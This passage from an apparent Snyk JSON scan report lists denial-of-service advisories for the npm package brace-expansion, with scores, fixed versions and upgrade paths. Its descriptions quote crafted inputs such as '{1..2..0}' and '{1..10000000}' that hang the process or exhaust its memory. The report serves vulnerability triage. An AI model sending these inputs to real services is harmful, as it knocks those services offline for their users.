"2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": 